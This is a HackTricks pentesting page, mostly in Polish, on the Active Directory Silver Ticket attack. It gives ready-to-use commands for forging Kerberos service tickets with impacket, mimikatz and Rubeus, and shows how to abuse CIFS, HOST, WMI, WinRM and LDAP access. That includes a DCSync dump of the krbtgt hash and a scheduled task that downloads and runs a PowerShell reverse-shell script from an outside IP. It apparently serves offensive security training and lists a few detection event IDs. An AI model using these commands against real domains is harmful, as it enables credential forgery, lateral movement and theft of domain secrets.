hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

9.4 KiB

Silver Ticket

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Silver ticket

Atak Silver Ticket polega na wykorzystaniu biletów serwisowych w środowiskach Active Directory (AD). Metoda ta opiera się na zdobyciu hasha NTLM konta serwisowego, takiego jak konto komputera, aby sfałszować bilet usługi przyznawania biletów (TGS). Dzięki temu sfałszowanemu biletowi, atakujący może uzyskać dostęp do określonych usług w sieci, podszywając się pod dowolnego użytkownika, zazwyczaj dążąc do uzyskania uprawnień administracyjnych. Podkreśla się, że użycie kluczy AES do fałszowania biletów jest bardziej bezpieczne i mniej wykrywalne.

Do tworzenia biletów stosuje się różne narzędzia w zależności od systemu operacyjnego:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Na Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.

Available Services

Typ usługi Usługi Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

W zależności od systemu operacyjnego także:

WSMAN

RPCSS

WinRM

HOST

HTTP

W niektórych przypadkach możesz po prostu poprosić o: WINRM

Zaplanowane zadania HOST
Udostępnianie plików w systemie Windows, także psexec CIFS
Operacje LDAP, w tym DCSync LDAP
Narzędzia do zdalnej administracji serwerów Windows

RPCSS

LDAP

CIFS

Złote bilety krbtgt

Using Rubeus you may ask for all these tickets using the parameter:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets Event IDs

  • 4624: Logowanie konta
  • 4634: Wylogowanie konta
  • 4672: Logowanie administratora

Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

CIFS

With this ticket you will be able to access the C$ and ADMIN$ folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Będziesz również w stanie uzyskać powłokę wewnątrz hosta lub wykonać dowolne polecenia za pomocą psexec:

{% content-ref url="../lateral-movement/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

Dzięki temu uprawnieniu możesz generować zaplanowane zadania na zdalnych komputerach i wykonywać dowolne polecenia:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Dzięki tym biletom możesz wykonać WMI w systemie ofiary:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Znajdź więcej informacji o wmiexec na następującej stronie:

{% content-ref url="../lateral-movement/wmiexec.md" %} wmiexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Dzięki dostępowi winrm do komputera możesz uzyskać do niego dostęp i nawet uzyskać PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Sprawdź następującą stronę, aby dowiedzieć się więcej sposobów na połączenie z zdalnym hostem za pomocą winrm:

{% content-ref url="../lateral-movement/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Zauważ, że winrm musi być aktywne i nasłuchujące na zdalnym komputerze, aby uzyskać do niego dostęp. {% endhint %}

LDAP

Dzięki temu uprawnieniu możesz zrzucić bazę danych DC za pomocą DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Dowiedz się więcej o DCSync na następującej stronie:

Referencje

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Wskazówka dotycząca bug bounty: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hackerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}